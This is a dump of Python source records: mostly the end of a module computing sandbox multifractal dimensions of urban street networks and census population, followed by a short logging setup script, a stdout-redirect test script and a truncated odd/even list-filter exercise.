for cd in list(chem_dist):\n cont = 0\n sum_ed = 0\n for i in range(len(list(euclid_dist))):\n ed = list(euclid_dist)[i]\n if ed <= cd:\n sum_ed += ed\n cont += 1\n aed = sum_ed/cont\n average_euclid_dist.append(aed)\n\n return average_euclid_dist\n\n dict_nodes_pos = dict(zip(list(G.nodes()),[G.nodes(data=True)[node]['pos'] for node in list(G.nodes())]))\n\n ed_list = []\n cd_list = []\n cr_list = []\n cr_pos_list = []\n\n count = 0\n\n while count <= routes-1:\n\n nodes = list(dict_nodes_pos.keys())\n\n source, target = np.random.choice(nodes, 2, replace = False)\n\n x1, y1 = dict_nodes_pos[source]\n x2, y2 = dict_nodes_pos[target]\n \n ed = np.sqrt((x2-x1)**2 + (y2-y1)**2)\n ed_list.append(degree_meters(ed))\n\n cr = nx.shortest_path(G, source, target)\n cr_list.append(cr)\n \n cr_pos = [dict_nodes_pos[node] for node in cr]\n cr_pos_list.append(cr_pos)\n \n sum_d = 0\n for i in range(len(cr)-1):\n inode = cr[i]\n fnode = cr[i+1]\n x1, y1 = dict_nodes_pos[inode]\n x2, y2 = dict_nodes_pos[fnode]\n d = np.sqrt((x2-x1)**2 + (y2-y1)**2)\n sum_d += degree_meters(d)\n cd = sum_d\n cd_list.append(cd)\n\n count +=1\n\n aed_list = average_euclidian_distance(ed_list, cd_list)\n\n dict_routes = {'euclidian_distance': ed_list, 'average_euclidian_distance': aed_list,\n 'chemical_distance': cd_list,'chemical_routes': cr_list,\n 'chemical_routes_pos': cr_pos_list}\n \n return dict_routes\n\n \n def plot_network(self, G, kwargs):\n \"\"\"Generates the image of the street network of the city.\n\n Parameters\n ----------\n networkx.classes.graph.Graph : G\n Street network.\n \n dict : kwargs\n Dictionary with parameters for the plot.\n \n Details:\n --------------------------------------\n variable | type | exemple\n --------------------------------------\n --------------------------------------\n 'figsize' | tuple of int | (10, 10)\n --------------------------------------\n 'node_size' | int | 0\n --------------------------------------\n 'edge_width' | int | 1\n --------------------------------------\n \n Returns\n -------\n plt.image\n Image of the street network.\n\n \"\"\"\n \n dict_nodes_pos = dict(zip(list(G.nodes()),[G.nodes(data=True)[node]['pos'] for node in list(G.nodes())]))\n \n fig, ax = plt.subplots(figsize=kwargs['figsize'])\n nx.draw(G, pos=dict_nodes_pos, ax=ax, node_size=kwargs['node_size'], width=kwargs['edge_width']) \n \n return plt.show()\n \nclass point:\n \"\"\"A class to generate point objects for calculating the fractal dimension using \n the \"sandbox\" method.\n \n References\n -----------\n \n 1. Tél, T., Á. Fülöp, and T. Vicsek (1989), Determination of fractal dimensions\n for geometrical multifractals, Physica A, 159, 155 – 166.\n \n 2. Vicsek, T. (1990), Mass multifractals, Physica A, 168, 490 – 497.\n \n 3. Vicsek, T., F. Family, and P. Meakin (1990), Multifractal geometry of\n diffusion-limited aggregates, Europhys. Lett., 12(3), 217 – 222.\n \n 4. S. G. De Bartolo, R. Gaudio, and S. Gabriele, “Multifractal analysis of river networks:\n Sandbox approach,” Water Resources Research, vol. 40, no. 2, 2004.\n \"\"\"\n pass\n \nclass SandBox:\n \"\"\"Class to calculate the generalized fractal dimension of the street network and \n population using the \"sandbox\" method.\n \n Methods\n -------\n generate_grid(df, threshold = 50.0, gridsize = 15, epsg = True):\n Method to generate a grid over the street network.\n \n generate_points(x_red, y_red, x_blue, y_blue, x_gray, y_gray): \n Method to generate points for estimating the object's fractal dimension.\n \n apply_sandbox_on_street_network(num_div_rmin = 100, num_div_rmax = 10,\n num_intervals = 100, fraction = 2):\n Method to carry out the steps of the \"sandbox\" algorithm on street network.\n \n get_sandbox_data_from_street_network:\n Method for obtaining data from calculations on street network.\n \n apply_sandbox_on_population(multipolygon, populs, x_red, y_red, x_gray, y_gray,\n num_div_rmin = 100, num_div_rmax = 10, num_intervals = 100, fraction = 2):\n Method for obtaining data from calculations on population geometries.\n \n street_network_generalized_dimension(data, moment_list)\n Method to estimating the generalized fractal dimension of the street network.\n \n street_network_mass_exponent(dq_list, moment_list)\n Method to estimating the mass exponents of the street network.\n \n street_network_multifractal_spectrum(tau_list, moment_list)\n Method to estimating the multifractal spectrum of the street network.\n \n population_generalized_dimension(data, moment_list)\n Method to estimating the generalized fractal dimension of the population.\n \n population_mass_exponent(dq_list, moment_list)\n Method to estimating the mass exponents of the population.\n \n population_multifractal_spectrum(tau_list, moment_list)\n Method to estimating the generalized fractal dimension of the population.\n \n References\n ----------\n \n 1. Tél, T., Á. Fülöp, and T. Vicsek (1989), Determination of fractal dimensions\n for geometrical multifractals, Physica A, 159, 155 – 166.\n \n 2. Vicsek, T. (1990), Mass multifractals, Physica A, 168, 490 – 497.\n \n 3. Vicsek, T., F. Family, and P. Meakin (1990), Multifractal geometry of\n diffusion-limited aggregates, Europhys. Lett., 12(3), 217 – 222.\n \n 4. S. G. De Bartolo, R. Gaudio, and S. Gabriele, “Multifractal analysis of river networks:\n Sandbox approach,” Water Resources Research, vol. 40, no. 2, 2004.\n \n \"\"\"\n \n def __init__(self):\n self.points_found = []\n self.defined_radios = []\n self.diagonal = []\n self.selected_points = []\n self.total_points = []\n \n \n def generate_grid(self, df, threshold = 50.0, gridsize = 15, epsg = True):\n \"\"\"Method for finding the points of a grid, defined by \"gridsize\" (default: 15 x 15 grid),\n closest to a certain distance, defined by \"threshold\" (default: 50 meters), from the po-\n ints of a given object (e.g., street network). The coordinates format it will be epsg \n 4326 (latitude and longitude).\n \n Parameters\n ----------\n float : threshold\n Threshold to find the points (reds). Default: 50 meters.\n \n int : gridsize\n Grid size. Default: 15 x 15 grid. (e.g., 15 x 15 = 225 evenly spaced dots).\n \n Returns\n -------\n tuple of lists: (x_red, y_red, x_blue, y_blue, x_gray, y_gray)\n \n Details:\n \n ----------------------------------------------------------------------------\n variable | type | description\n ----------------------------------------------------------------------------\n ----------------------------------------------------------------------------\n x_red | list | List of x's or lon's coordinates (epsg format: 4326)\n | | of the closest found points of the points of the object\n | | that you want to estimate the fractal dimension.\n ----------------------------------------------------------------------------\n y_red | list | List of y's or lat's coordinates (epsg format: 4326)\n | | of the closest found points of the points of the object\n | | that you want to estimate the fractal dimension.\n ----------------------------------------------------------------------------\n x_blue | list | List of x's or lon's coordinates (epsg format: 4326)\n | | of the object's points that are wants to estimate \n | | the fractal dimension.\n ----------------------------------------------------------------------------\n y_blue | list | List of y's or lat's coordinates (epsg format: 4326)\n | | of the object's points that are wants to estimate\n | | the fractal dimension.\n ----------------------------------------------------------------------------\n x_gray | list | List of x's or lon's coordinates (epsg format: 4326)\n | | of the grid.\n ----------------------------------------------------------------------------\n y_gray | list | List of y's or lat's coordinates (epsg format: 4326)\n | | of the grid.\n ---------------------------------------------------------------------------- \n \n \"\"\"\n \n def degree_to_meter(degree):\n return (np.pi*degree*6378137)/180\n \n def meter_to_degree(meter):\n return (meter*180)/(np.pi*6378137)\n \n \n lon_blue, lat_blue = list(df.lon), list(df.lat)\n lonmin, lonmax, latmin, latmax = min(df.lon), max(df.lon), min(df.lat), max(df.lat)\n\n lon_space = np.linspace(lonmin, lonmax, gridsize)\n lat_space = np.linspace(latmin, latmax, gridsize)\n lonv, latv = np.meshgrid(lon_space, lat_space, indexing='ij')\n coords_grid = np.array([lonv, latv])\n \n lon_gray = []\n lat_gray = []\n for i in range(coords_grid.shape[1]):\n for j in range(coords_grid.shape[1]):\n u, v = coords_grid[:, i, j]\n lon_gray.append(u)\n lat_gray.append(v)\n \n points_gray = [Point(lon, lat) for lon, lat in zip(lon_gray, lat_gray)] \n collection_points_gray = GeometryCollection(points_gray)\n \n points_blue = [Point(lon, lat).buffer(meter_to_degree(threshold)) for lon, lat in zip(lon_blue, lat_blue)]\n union_points_blue = ops.unary_union(points_blue)\n \n intersection_points = list(union_points_blue.intersection(collection_points_gray).geoms)\n coords_intersection = [list(intersection_points[i].coords)[0] for i in range(len(intersection_points))]\n lon_red, lat_red = [p[0] for p in coords_intersection], [p[1] for p in coords_intersection]\n\n return lon_red, lat_red, lon_blue, lat_blue, lon_gray, lat_gray\n \n def generate_points(self, x_red, y_red, x_blue, y_blue, x_gray, y_gray):\n \"\"\"Method to create the points for estimating the object's fractal dimension.\n \n Parameters\n ----------\n list : x_red\n List of x's or lon's coordinates (epsg format: 4326) of the closest found points\n of the points of the object that you want to mediate the fractal dimension.\n\n list : y_red\n List of y's or lat's coordinates (epsg format: 4326) of the closest found points\n of the points of the object that you want to mediate the fractal dimension.\n\n list : x_blue\n List of x's or lon's coordinates (epsg format: 4326) of the object's points that are\n wants to mediate the fractal dimension.\n\n list : y_blue\n List of y's or lat's coordinates (epsg format: 4326) of the object points that\n wants to mediate the fractal dimension.\n\n list : x_gray\n List of x's or lon's coordinates (epsg format: 4326) of the surrounding daw points\n to the object you want to measure the fractal dimension.\n\n list : x_gray\n List of y's or lat's coordinates (epsg format: 4326) of the surrounding daw points\n to the object you want to measure the fractal dimension.\n \n Returns\n -------\n str : message\n Message confirming the creation of the points.\n \n \"\"\"\n global points\n points = []\n \n for i in range(len(x_blue)):\n p = point()\n p.x = x_blue[i]\n p.y = y_blue[i]\n p.type = 'blue'\n points.append(p)\n self.total_points.append(len(x_blue))\n \n for i in range(len(x_red)):\n p = point()\n p.x = x_red[i]\n p.y = y_red[i]\n p.type = 'red'\n points.append(p)\n \n for i in range(len(x_gray)):\n p = point()\n p.x = x_gray[i]\n p.y = y_gray[i]\n p.type = 'gray'\n points.append(p)\n \n return print('Points created!')\n \n def apply_sandbox_on_street_network(self, num_div_rmin = 100, num_div_rmax = 10,\n num_intervals = 100, fraction = 2):\n \"\"\"Method to carry out the steps of the \"sandbox\" algorithm.\n \n Parameters\n ----------\n \n int : um_div_rmin\n Number of divisions to obtain the minimum radius in relation to the diagonal of the enclosing box.\n (e.g., num_div_rmin = 100 means to choose a minimum radius corresponding to 1% of the size\n the diagonal of the enclosing box).\n \n int : num_div_rmax\n Number of divisions to obtain the minimum radius in relation to the diagonal of the enclosing box.\n (e.g., num_div_rmax = 10 means choose a maximum radius corresponding to 10% of the size\n the diagonal of the enclosing box).\n \n int : num_intervals\n Number of rays that will be generated.\n \n int : fraction\n Fraction of the points obtained that are at a certain distance from the object points (e.g., network)\n in which the rays will be generated and the measurements will be carried out.\n \n Details:\n ----------------------------\n fraction interpretation\n ----------------------------\n ----------------------------\n 1 | 100% of the\n | points\n ----------------------------\n 2 | 50% of the \n | points\n ----------------------------\n 4 | 25% of the \n | points\n ----------------------------\n 6 | 12.5% of the \n | points\n ----------------------------\n 8 | 6.25% of the\n | points\n ----------------------------\n \n Returns\n -------\n str : message\n Message confirming the execution of the calculation.\n \n \"\"\"\n global points\n \n def degree_to_meter(degree):\n return (np.pi*degree*6378137)/180\n \n px_gray = [p.x for p in points if p.type == 'gray']\n py_gray = [p.y for p in points if p.type == 'gray']\n \n xmin, xmax, ymin, ymax = min(px_gray), max(px_gray), min(py_gray), max(py_gray)\n \n diag = ((xmax-xmin)**2+(ymax-ymin)**2)**0.5\n self.diagonal.append(diag)\n \n rmax = diag/num_div_rmax\n rmin = diag/num_div_rmin\n \n reds = [p for p in points if p.type == 'red']\n \n chosed_reds = list(np.random.choice(reds, int(len(reds)/fraction)))\n p_reds = [(p.x, p.y) for p in chosed_reds]\n self.selected_points.append(p_reds)\n \n radius = list(np.linspace(rmin, rmax, num_intervals))\n \n for red in chosed_reds:\n num_points_in_r = []\n for i in range(len(radius)):\n r = radius[i]\n blues = [p for p in points if p.type == 'blue']\n pe = [p for p in blues if (red.x-p.x)**2+(red.y-p.y)**2 < r**2 and p != red]\n num_points = len(pe)\n num_points_in_r.append(num_points)\n \n self.points_found.append(num_points_in_r)\n self.defined_radios.append(radius)\n\n return print('Sandbox method successfully applied!')\n \n def get_sandbox_data_from_street_network(self):\n \"\"\"Method for obtaining data from calculations.\n \n Returns\n -------\n dict : dict_data\n Dictionary with data from calculations.\n\n \n Details:\n ---------------------------------------------------------------------\n variable | type | interpretation\n ---------------------------------------------------------------------\n ---------------------------------------------------------------------\n 'r' | List | Radii (meter) of the generated \n | of lists | circles\n --------------------------------------------------------------------\n 'N' | List | Number of points\n | of lists | found\n ---------------------------------------------------------------------\n 'total_points' | float | Total number of points\n | | of the object\n ---------------------------------------------------------------------\n 'box_size' | float | box size length (meter)\n ---------------------------------------------------------------------\n 'analized_points' | List of | Fraction of points (coordinades)\n | tuple | where the the measurements will\n | | be taken\n ---------------------------------------------------------------------\n \n \"\"\"\n global points\n \n def degree_to_meter(degree):\n return (2*np.pi*degree*6378137)/360\n \n diagonal = self.diagonal[0]\n L = diagonal/np.sqrt(2)\n radios = [[degree_to_meter(self.defined_radios[j][i]) for i in range(len(self.defined_radios[0]))] for j in range(len(self.defined_radios))]\n \n dict_data = {'r': radios, 'N': self.points_found,\n 'total_points': self.total_points[0], 'box_size': L,\n 'analized_points': self.selected_points[0]}\n return dict_data\n \n def apply_sandbox_on_population(self, multipolygon, populs, x_red, y_red, x_gray, y_gray,\n num_div_rmin = 100, num_div_rmax = 10, num_intervals = 100, fraction = 2):\n \"\"\"Method to calculating the fractal dimension of population.\n \n Parameters\n ----------\n \n shapely.geometry.GeometryCollection : multipolygon\n Collection of geometries of census tracts.\n \n list : populs\n List of population in each census tract.\n \n list : x_red\n List of x's or lon's coordinates (epsg format: 4326) of the closest found points\n of the points of the object that you want to mediate the fractal dimension.\n\n list : y_red\n List of y's or lat's coordinates (epsg format: 4326) of the closest found points\n of the points of the object that you want to mediate the fractal dimension.\n\n list : x_gray\n List of x's or lon's coordinates (epsg format: 4326) of the surrounding daw points\n to the object you want to measure the fractal dimension.\n\n list : x_gray\n List of y's or lat's coordinates (epsg format: 4326) of the surrounding daw points\n to the object you want to measure the fractal dimension.\n \n int : num_div_rmin\n Number of divisions to obtain the minimum radius in relation to the diagonal of the enclosing box.\n (e.g., num_div_rmin = 100 means to choose a minimum radius corresponding to 1% of the size\n the diagonal of the enclosing box). Default num_div_rmin = 100.\n \n int : num_div_rmax\n Number of divisions to obtain the minimum radius in relation to the diagonal of the enclosing box.\n (e.g., num_div_rmax = 10 means choose a maximum radius corresponding to 10% of the size\n the diagonal of the enclosing box). Default num_div_rmax = 10.\n \n int : num_intervals\n Number of rays that will be counted.\n \n int : fraction\n Fraction of the points obtained that are at a certain distance from the object points (e.g., network)\n in which the rays will be generated and the measurements will be carried out. Default fractaion = 2.\n \n Details:\n ----------------------------\n fraction interpretation\n ----------------------------\n ----------------------------\n 1 | 100% of the\n | points\n ----------------------------\n 2 | 50% of the \n | points\n ----------------------------\n 4 | 25% of the \n | points\n ----------------------------\n 6 | 12.5% of the \n | points\n ----------------------------\n 8 | 6.25% of the\n | points\n ----------------------------\n \n Returns\n -------\n dict : dict_data_population\n Dictionary with data from calculations.\n\n \n Details:\n ---------------------------------------------------------------------\n Variable | Type | Interpretation\n ---------------------------------------------------------------------\n ---------------------------------------------------------------------\n 'r' | List | Radii (meter) of the generated \n | of lists | circles\n --------------------------------------------------------------------\n 'N' | List | Number of populations\n | of lists | found\n ---------------------------------------------------------------------\n 'total_population' | float | Total population\n ---------------------------------------------------------------------\n 'box_size' | float | box size length (meter)\n ---------------------------------------------------------------------\n 'analized_points' | List of | Fraction of points (coordinades)\n | tuple | where the the measurements will\n | | be taken\n ---------------------------------------------------------------------\n \n \"\"\"\n \n def get_population(lonlat, multipolygon, populs, diagonal):\n \n def degree_meters(A):\n return (2*np.pi*A*6378137)/360\n\n str_polygons = []\n for p in multipolygon.geoms:\n str_pol = str(p)\n str_polygons.append(str_pol)\n\n dict_polygon_population = dict(zip(str_polygons, populs))\n\n maxradii = diagonal/num_div_rmin\n minradii = diagonal/num_div_rmax\n\n radius = list(np.linspace(minradii, maxradii, num_intervals))\n\n population_list = []\n radius_list = []\n\n for radii in radius:\n circle = Point(lonlat).buffer(radii)\n radius_list.append(degree_meters(radii))\n\n tree = STRtree(multipolygon.geoms)\n query_geo_list = [o.wkt for o in tree.query(circle)]\n\n list_wkt_pol = []\n for pol in query_geo_list:\n wkt_pol = shapely.wkt.loads(pol)\n list_wkt_pol.append(wkt_pol.buffer(0))\n\n\n sum_population = 0\n for i in range(len(list_wkt_pol)):\n\n p = list_wkt_pol[i]\n str_pol = str(p)\n\n query_population = dict_polygon_population[str_pol]\n \n total_area = p.area\n \n query_area = p.difference(p.difference(circle)).area\n\n qpop = (query_area/total_area)*query_population\n sum_population += qpop\n\n population_list.append(sum_population)\n\n dict_radius_population = {'r': radius_list, 'N': population_list}\n\n return dict_radius_population\n \n def degree_meters(A):\n return (2*np.pi*A*6378137)/360\n \n center_points = list(zip(x_red, y_red)) \n dict_points = dict(zip(range(len(center_points)), center_points))\n \n keys = list(dict_points.keys()) \n chosed_keys = list(np.random.choice(keys, int(len(keys)/fraction), replace=False)) \n chosed_points = [dict_points[p] for p in chosed_keys]\n\n diagonal = ((max(x_gray)-min(x_gray))**2+(max(y_gray)-min(y_gray))**2)**0.5 \n L = degree_meters(diagonal)/np.sqrt(2)\n\n radius = []\n population_in_radius = []\n\n for lonlat in chosed_points:\n data = get_population(lonlat, multipolygon, populs, diagonal)\n radius.append(data['r'])\n population_in_radius.append(data['N'])\n \n \n dict_data_population = {'r': radius, 'N': population_in_radius, \n 'total_population': sum(populs),'box_size': L,\n 'analized_points': chosed_points}\n \n return dict_data_population\n \n def street_network_generalized_dimension(self, data, moment_list):\n \"\"\"Method to calculate the generalized fractal dimension based on \"sandbox\" strategy\n of the street network.\n \n Parameters\n ----------\n \n dict : data\n The dictionary with data generated by the \"get_sandbox_data_from_street_network\".\n \n list : moment_list\n The list of order moments (e.g, a linear space betweenn [-q, q], when q \n is a real number).\n \n Returns\n -------\n dict : dict_gen_dim\n Dictionary with data generated.\n \n \n Details:\n --------------------------------------------------------------------------------------\n variable | type | description\n --------------------------------------------------------------------------------------\n --------------------------------------------------------------------------------------\n 'gen_dim_street_network' | list | generalized fractal dimensions\n --------------------------------------------------------------------------------------\n 'gen_dim_street_network_std' | list | standard error of the generalized\n | | fractal dimensions\n --------------------------------------------------------------------------------------\n 'gen_dim_street_network_intercept' | list | intercept of the generalized \n | | fractal dimensions\n --------------------------------------------------------------------------------------\n 'gen_dim_street_network_r2' | list | R2 of the generalized \n | | fractal dimensions\n --------------------------------------------------------------------------------------\n \n \"\"\"\n \n def get_average(data, q):\n \n if round(q,1) == 1.0:\n average = [np.mean([data['N'][i][j]/data['total_points'] for i in range(len(data['N']))]) for j in range(len(data['N'][0]))]\n return average\n else:\n average = [np.mean([(data['N'][i][j]/data['total_points'])**(q-1) for i in range(len(data['N']))]) for j in range(len(data['N'][0]))]\n return average\n \n def fit_average(x, y, q):\n\n def power_law(x, a, b):\n return b*x**a\n\n tinv = lambda p, dff: abs(t.ppf(p/2, dff))\n\n u, v = x, y\n\n if round(q,1) == 1.0:\n\n res = stats.linregress(np.log(u), np.log(v))\n ts = tinv(0.05, len(u)-2)\n a, a_std, b, r2 = res.slope, ts*res.stderr, res.intercept, res.rvalue**2\n\n return a, a_std, b, r2\n else:\n res = stats.linregress(np.log(u), np.log(v)/(q-1))\n ts = tinv(0.05, len(u)-2)\n a, a_std, b, r2 = res.slope, ts*res.stderr, res.intercept, res.rvalue**2\n\n return a, a_std, b, r2 \n \n dq_list = []\n dq_std_list = []\n dq_intercep_list = []\n r2_list = []\n\n for q in moment_list:\n x = list(np.array(data['r'][0])/data['box_size'])\n y = get_average(data, q)\n d, d_std, b, r2 = fit_average(x, y, q)\n\n dq_list.append(d)\n dq_std_list.append(d_std)\n dq_intercep_list.append(b)\n r2_list.append(r2)\n \n dict_gen_dim = {'gen_dim_street_network' : dq_list,\n 'gen_dim_street_network_std' : dq_std_list,\n 'gen_dim_street_network_intercept' : dq_intercep_list,\n 'gen_dim_street_network_r2' : r2_list} \n \n return dict_gen_dim\n \n def street_network_mass_exponent(self, dq_list, moment_list):\n \"\"\"Method for calculating mass exponents. The exponents control\n how the probability moment orders, q, scale with the side size of the covering balls.\n \n Parameters\n ----------\n list : dq_list\n List of the generalized dimensions of the street network.\n \n list : moment_list\n List of orders moment (e.g, a linear space betweenn [-q, q], when q \n is a real number).\n \n Returns\n -------\n list : taus\n List of mass expontents of the street network.\n \n \"\"\"\n \n tau_list = [(1-q)*d for q, d in zip(moment_list, dq_list)]\n \n return tau_list\n \n def street_network_multifractal_spectrum(self, tau_list, moment_list):\n \"\"\"Method to calculating multifractal spectrum. \"alpha\" are the Lipschitz-Hölder exponents\n and f(alpha)\" are the multifractal spectra.\n \n Parameters\n ----------\n list : tau_list\n List of the mass exponents of the street network.\n \n list : moment_list\n List of orders moment (e.g, a linear space betweenn [-q, q], when q \n is a real number).\n \n Returns\n -------\n tuple (list, list) : alpha_list, falpha_list\n 'alpha_list' is the list of Lipschitz-Hölder exponents and 'falpha_list'\n is the list of multifractal spectra of the street network.\n \n \"\"\"\n \n alpha_list = list(-np.diff(tau_list)/np.diff(moment_list))\n falpha_list = [t+q*a for t, q, a in zip(tau_list, moment_list, alpha_list)]\n \n return alpha_list, falpha_list\n \n def population_generalized_dimension(self, data, moment_list):\n \"\"\"Method to calculate the generalized fractal dimension based on \"sandbox\" strategy\n of the population.\n \n Parameters\n ----------\n \n dict : data\n The dictionary with data generated by the \"apply_sandbox_on_population\".\n \n list : moment_list\n The list of order moments (e.g, a linear space betweenn [-q, q], when q \n is a real number).\n \n Returns\n -------\n dict : dict_gen_dim\n Dictionary with data generated.\n \n \n Details:\n --------------------------------------------------------------------------------------\n variable | type | description\n --------------------------------------------------------------------------------------\n --------------------------------------------------------------------------------------\n 'gen_dim_population' | list | generalized fractal dimensions\n --------------------------------------------------------------------------------------\n 'gen_dim_population_std' | list | standard error of the generalized\n | | fractal dimensions\n --------------------------------------------------------------------------------------\n 'gen_dim_population_intercept' | list | intercept of the generalized \n | | fractal dimensions\n --------------------------------------------------------------------------------------\n 'gen_dim_population_r2' | list | R2 of the generalized \n | | fractal dimensions\n --------------------------------------------------------------------------------------\n \n \"\"\"\n \n def get_average(data, q):\n \n if round(q,1) == 1.0:\n average = [np.mean([data['N'][i][j]/data['total_population'] for i in range(len(data['N']))]) for j in range(len(data['N'][0]))]\n return average\n else:\n average = [np.mean([(data['N'][i][j]/data['total_population'])**(q-1) for i in range(len(data['N']))]) for j in range(len(data['N'][0]))]\n return average\n \n def fit_average(x, y, q):\n\n def power_law(x, a, b):\n return b*x**a\n\n tinv = lambda p, dff: abs(t.ppf(p/2, dff))\n\n u, v = x, y\n\n if round(q,1) == 1.0:\n\n res = stats.linregress(np.log(u), np.log(v))\n ts = tinv(0.05, len(u)-2)\n a, a_std, b, r2 = res.slope, ts*res.stderr, res.intercept, res.rvalue**2\n\n return a, a_std, b, r2\n else:\n res = stats.linregress(np.log(u), np.log(v)/(q-1))\n ts = tinv(0.05, len(u)-2)\n a, a_std, b, r2 = res.slope, ts*res.stderr, res.intercept, res.rvalue**2\n\n return a, a_std, b, r2 \n \n dq_list = []\n dq_std_list = []\n dq_intercep_list = []\n r2_list = []\n\n for q in moment_list:\n x = list(np.array(data['r'][0])/data['box_size'])\n y = get_average(data, q)\n d, d_std, b, r2 = fit_average(x, y, q)\n\n dq_list.append(d)\n dq_std_list.append(d_std)\n dq_intercep_list.append(b)\n r2_list.append(r2)\n \n dict_gen_dim = {'gen_dim_population' : dq_list,\n 'gen_dim_population_std' : dq_std_list,\n 'gen_dim_population_intercept' : dq_intercep_list,\n 'gen_dim_population_r2' : r2_list} \n \n return dict_gen_dim\n \n def population_mass_exponent(self, dq_list, moment_list):\n \"\"\"Method for calculating mass exponents of the population. The exponents control\n how the probability moment orders, q, scale with the side size of the covering balls.\n \n Parameters\n ----------\n list : dq_list\n List of the generalized dimensions of the population.\n \n list : moment_list\n List of orders moment (e.g, a linear space betweenn [-q, q], when q \n is a real number).\n \n Returns\n -------\n list : taus\n List of mass expontents of the population.\n \n \"\"\"\n \n taus_list = [(1-q)*d for q, d in zip(moment_list, dq_list)]\n \n return taus_list\n \n def population_multifractal_spectrum(self, taus_list, moment_list):\n \"\"\"Method to calculating multifractal spectrum. \"alpha\" are the Lipschitz-Hölder exponents\n and f(alpha)\" are the multifractal spectra.\n \n Parameters\n ----------\n list : tau_list\n List of the mass exponents of the population.\n \n list : moment_list\n List of orders moment (e.g, a linear space betweenn [-q, q], when q \n is a real number).\n \n Returns\n -------\n tuple (list, list) : alpha_list, falpha_list\n 'alpha_list' is the list of Lipschitz-Hölder exponents and 'falpha_list'\n is the list of multifractal spectra of the population.\n \n \"\"\"\n \n alphas_list = list(-np.diff(taus_list)/np.diff(moment_list))\n falphas_list = [t+q*a for t, q, a in zip(taus_list, moment_list, alphas_list)]\n \n return alphas_list, falphas_list\n\nclass PlotStreetPopulation:\n \"\"\"Class to plot the street network and population in each census track.\n \n Atrributes\n ----------\n list : geo\n List of the geometries of each census track.\n \n list : popul\n List of the population of each census track.\n \n pandas.core.frame.DataFrame : df_nodes\n Data frame with the nodes information.\n \n pandas.core.frame.DataFrame : df_links\n Data frame with the links information.\n \n Method\n ------\n plot_geo_population_network(kwargs)\n Plot of the street network and population.\n \n \n \n \"\"\"\n \n def __init__(self, geo, popul, df_nodes, df_links):\n self.geo = geo\n self.popul = popul\n self.df_nodes = df_nodes\n self.df_links = df_links\n \n \n def plot_geo_population_network(self, kwargs):\n \"\"\"Method to plot the street network and population.\n \n Parameters\n ----------\n dict : kwargs\n \n Returns\n -------\n plt.image\n Image of the street network and population.\n \n Details:\n -----------------------------------------------------------\n variable | type | exemple\n -----------------------------------------------------------\n -----------------------------------------------------------\n 'figsize' | tuple | (10, 10)\n -----------------------------------------------------------\n 'cmap' | str | 'viridis'\n -----------------------------------------------------------\n 'legend' | bool | True\n -----------------------------------------------------------\n 'legend_kwds' | dict | {\"label\": \"Population in 2010\",\n | | \"orientation\": \"horizontal\"}\n -----------------------------------------------------------\n 'node_color' | str | 'white'\n -----------------------------------------------------------\n 'markersize' | int | 1\n -----------------------------------------------------------\n 'edge_color' | str | 'white'\n -----------------------------------------------------------\n 'linewidth' | int | 1\n -----------------------------------------------------------\n 'xlabel' | str | 'lon'\n -----------------------------------------------------------\n 'ylabel' | str | 'lat'\n -----------------------------------------------------------\n 'xlim' | tuple | (float, float)\n -----------------------------------------------------------\n 'ylim' | tuple | (float, float)\n -----------------------------------------------------------\n \"\"\"\n \n gpdf_popul = gpd.GeoDataFrame({'population': self.popul, 'geometry': list(self.geo.geoms)}, crs='epsg:4326')\n gpdf_nodes = gpd.GeoDataFrame(self.df_nodes, geometry = [shapely.wkt.loads(g) for g in self.df_nodes.geometry], crs='epsg:4326')\n gpdf_links = gpd.GeoDataFrame(self.df_links, geometry = [shapely.wkt.loads(g) for g in self.df_links.geometry], crs='epsg:4326')\n\n fig, ax = plt.subplots(figsize=kwargs['figsize'])\n \n gpdf_popul.plot(ax = ax, column='population', cmap = kwargs['cmap'], legend=kwargs['legend'], legend_kwds=kwargs['legend_kwds'])\n gpdf_nodes.plot(ax = ax, color=kwargs['node_color'], markersize=kwargs['markersize'])\n gpdf_links.plot(ax = ax, color=kwargs['edge_color'], linewidth=kwargs['linewidth'])\n \n ax.set_xlabel(kwargs['xlabel'])\n ax.set_ylabel(kwargs['ylabel'])\n ax.set_xlim(kwargs['xlim'][0], kwargs['xlim'][1])\n ax.set_ylim(kwargs['ylim'][0], kwargs['ylim'][1])\n \n return plt.show()\n \n\n","repo_name":"renabridged/FractalCity","sub_path":"FractalCity.py","file_name":"FractalCity.py","file_ext":"py","file_size_in_byte":60983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72628274386","text":"import logging\nimport os\nfrom datetime import datetime\n\n##Log File Name\nLOG_FILE=f\"{datetime.now().strftime('%m_%d_%Y_%H_%M_%S')}.log\"\n\n#os'deki dizininin altına logs klasörü açar onun altına log dosyasını ekler.(../logs/05252023095900.log)\n#exist_ok Dosya varsa içerisine ekleme yapar\n#dosya içerisine yazılacak format\n#logging.INFO ekrana output messagı yazdırır\n\n\nlogs_path=os.path.join(os.getcwd(),\"logs\",LOG_FILE)\nos.makedirs(logs_path,exist_ok=True)\nLOG_FILE_PATH=os.path.join(logs_path,LOG_FILE)\n\n\nlogging.basicConfig(\n filename=LOG_FILE_PATH,\n format=\"[ %(asctime)s ] %(lineno)d %(name)s - %(levelname)s - %(message)s\",\n level=logging.INFO,\n)\n\n","repo_name":"akgulismail/mlproject","sub_path":"src/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14107762651","text":"import os\nimport errno\nimport sys\nsys.path.append('C:/Users/juan.burgos/source/MasterArbeitSW/DeepConvLSTM/DeepConvLSTM/')\nfrom misc.logging import Logger\n\ndef main():\n path = \"testScripts\"\n newDir = os.path.join(path, \"NewFolder\", \"file.txt\")\n\n try:\n os.makedirs(newDir)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n \n #without a name\n sys.stdout = Logger(os.path.join(newDir, 'log.txt'))\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"burgauss/DeepConvLSTM","sub_path":"testScripts/testScripts.py","file_name":"testScripts.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20475415061","text":"#filter odd even\n#define a function\n\n#input\n\n#list --->[1,2,3,4,5,6,7]\n#Output ---> [[1,3,5,7], [2,4,6]]\n\ndef odd_even(l):\n filtero = []\n filtere =[]\n filteroe = []\n \n for i in l:\n if i%2 != 0:\n oo=filtero.append(i)\n else:\n ee= filtere.append(i)\n output = [filtero,filtere] \n return output\n\nlt = 